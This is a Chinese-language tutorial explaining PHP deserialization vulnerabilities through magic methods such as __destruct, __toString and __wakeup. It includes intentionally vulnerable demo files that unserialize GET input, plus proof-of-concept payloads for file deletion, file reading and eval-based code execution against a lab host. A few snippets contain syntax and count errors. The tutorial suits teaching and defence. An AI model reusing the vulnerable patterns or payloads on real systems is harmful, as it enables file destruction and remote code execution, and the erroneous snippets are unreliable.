反序列化漏洞第一次众人皆知在2015年11月6日,最初出现在JAVA语言中,FoxGlove Security安全团队的Breenmachine发表了一篇博客,里面详细阐述了利用JAVA反序列化和Apache Commons Collections类库实现远程命令执行的真实案例,之后围绕着反序列化漏洞事件层出不穷,同时也出现在其他的语言中。
在百度百科词条解释中,序列化 (Serialization) 是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
反序列化(Unserialization) 是与序列化的反过程,是将存储区的序列化的对象信息,文本结构,转换为原来的变量。
PHP序列化函数为Serialize,将对象转换为字符串保存对象的变量及变量值。
PHP的反序列化函数为unserialize,将序列化后的字符串转换为对象。
先看一个简单的PHP代码
//1.php
class student //创建一个student类
{
public $name=''; //定义公有变量
public $age=''; //定义公有变量
public function talk() //定义公有函数
{
echo 'I am '.$this->name.', '.$this->age.' years old !';
}
}
$pr=new student(); //创建对象
$pr->name='BYF'; //对象赋初值
$pr->age='20'; //对象赋初值
$pr->talk(); //调用公有函数
?>
将对象进行序列化操作,输出
//1.php+
$ser=serialize($pr);
echo $ser;
O:7:"student":2:{s:4:"name";s:3:"BYF";s:3:"age";s:2:"20";}
如上所示为PHP序列化函数,将对象序列化后的形成的字符串
序列化字符串解析:
注:在反序列化操作中可以重新定义变量的值
//1.php++
$unser=unserialize($ser); //将序列化后形成的字符串发序列化
$unser->name='bianyufei'; //反序列化时可进行重新赋值操作
$unser->talk(); //调用公有函数
PHP中有一些函数可以在脚本的任何地方执行,且不需要声明就可以调用,但是存在触发条件,这类函数就被称为PHP 魔法函数。
下面是与PHP序列化(反序列化)有关的魔法函数。
__construct() 当一个对象创建时被调用
__destruct() 当对象被销毁时触发
__wakeup() 当使用unserialize函数时被触发
__sleep() 当使用serialize函数时被触发
__toString() 把类当做字符串使用时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或者empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
由于序列化不会传递函数中定义的操作,只传值,所以在自定义函数无法利用。
但是魔法函数是可以自动执行的,当类中定义了魔法函数时,且对象中存在触发条件,我们就有机可乘。
PHP反序列化漏洞,是我们在使用unserialize()
函数进行反序列化时,当反序列化对象中存在一些我们可以利用魔法函数,且传入的变量是可控的,那么就可能触发这个魔法函数,来执行我们想要的过程。
__destruct()函数: 在对象被销毁时执行该函数
//原理demo
class demo
{
public $a='demo';
function __destruct()
{
echo $this->a;
echo '';
}
}
$ob= new demo();
echo serialize($ob).'';
$test= $_GET['id'];
unserialize($test);
?>
http://10.102.51.143/demo.php?id=O:4:"demo":1:{s:1:"a";s:4:"1234";}
我们可以看到当,创建对象之后,没有调用该__destruct()函数,该函数也自动执行,也就是serialize()函数和unserialize()函数销毁了对象,触发了魔法函数的执行。
unlink() 函数: 删除文件,若成功,则返回 true,失败则返回 false。
dirname() 函数: 返回路径中的目录部分
dirname(__FILE__)函数
:表示当前文件绝对路径
//2.php
class delete
{
public $filename='error';
function __destruct()
{
echo $this->filename." was deleted."
//UPLINK函数是删除文件,dirname函数输出路径
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
在3.php中包含了2.php,当unserialize()函数执行时,触发了2.php中的 __destruct() 函数,执行了删除文件的操作。
//3.php
include '2.php'
class student
{
public $name='';
public $age='';
public function information()
{
echo 'student:'.$this->name.'is'.$this->age.'years old.';
}
$zs=unserialize($_GET['id']);
//$zs变量并不是student类的对象,所以并没有必要通过GET传入的值为两个变量的形式,只要存在该反序列化操作,就可以触发2.php中的魔法函数
}
?>
构造payload
//POC.php
//复制delete类序列化内容
class delete
{
public $filename='error';
}
$x= new delete(); //创建对象
echo serialize($x).'';
?>
下图为POC.php执行后形成的序列化的值
将该值复制后通过GET传入3.php,通过unserialize()函数销毁对象触发了 2.php中的 __destruct()函数中定义的删除文件的操作。
注: 由于在3.php中,student类为2个公有变量,且需自定义filename为要删除的文件名,在此处可以自己定义修改序列化的值。
如下所示
可以自定义要删除的文件为muma.txt
O:6:"delete":2:{s:8:"filename";s:8:"muma.txt";}
__toString()函数: 把类当做字符串使用时触发,也就是使用echo打印对象时触发该函数。
file_get_contents()函数: 将一个文件读入一个字符串中
//4.php
class read
{
public $filename = 'error';
function __toString()
{
//file_get_contents()函数是把文件内容赋予一个变量,通过return
return file_get_contents($this->filename);
}
}
?>
在5.php中包含了4.php,5.php中unserialize()函数执行后赋给一个变量,当该变量被打印输出时,触发了4.php中的 __toString()函数
//5.php
include '4.php';
class student
{
public $name='BYF';
public $age='20';
public function information()
{
echo 'student: '.$this->name.' is '.$this->age.'years old.';
}
}
$zs=unserialize($_GET['id']);
echo $zs;
?>
构造payload
//poc2.php
class read
{
public $filename='error';
}
$byf=new read();
$byf->filename='hello.txt';
echo serialize($byf);
?>
下图为POC2.php执行后形成的序列化的值
将该值复制后通过GET传入5.php,通过unserialize()函数反序列化后将值重新赋给一个变量,echo打印输出, 触发了 4.php中的 __toString()函数 中定义的读文件的操作。
在调用问题中产生的漏洞,eval()为危险函数,将()内的值做为命令执行
//6.php a='phpinfo()'
class a
{
public $varr;
function __destruct()
{
$this->varr->evaltest();
}
}
class b
{
public $str;
function evaltest()
{
eval($this->str); //危险函数
}
}
unserialize($_GET['id']);
?>
//poc3.php
class a
{
public $varr='new b()';
}
class b
{
public $str='phpinfo()';
}
$x=new a();
echo serialize($x).'';
$y=new b();
echo serialize($y);
?>
poc3.php运行结果如下图
原理分析
原理分析清楚了,还要进行触发操作,在poc中定义了unserialize()反序列化函数,可以触发a类中的 __destruct()函数 ,通过GET传参。
我们需将poc中序列化后形成的字符串进行变化,将varr定义为b类的对象
O:1:"a":1:{s:4:"varr";s:7:"new b()";}
O:1:"b":1:{s:3:"str";s:9:"phpinfo()";}
转化为
O:1:"a":1:{s:4:"varr";O:1:"b":1:{s:3:"str";s:10:"phpinfo();";};}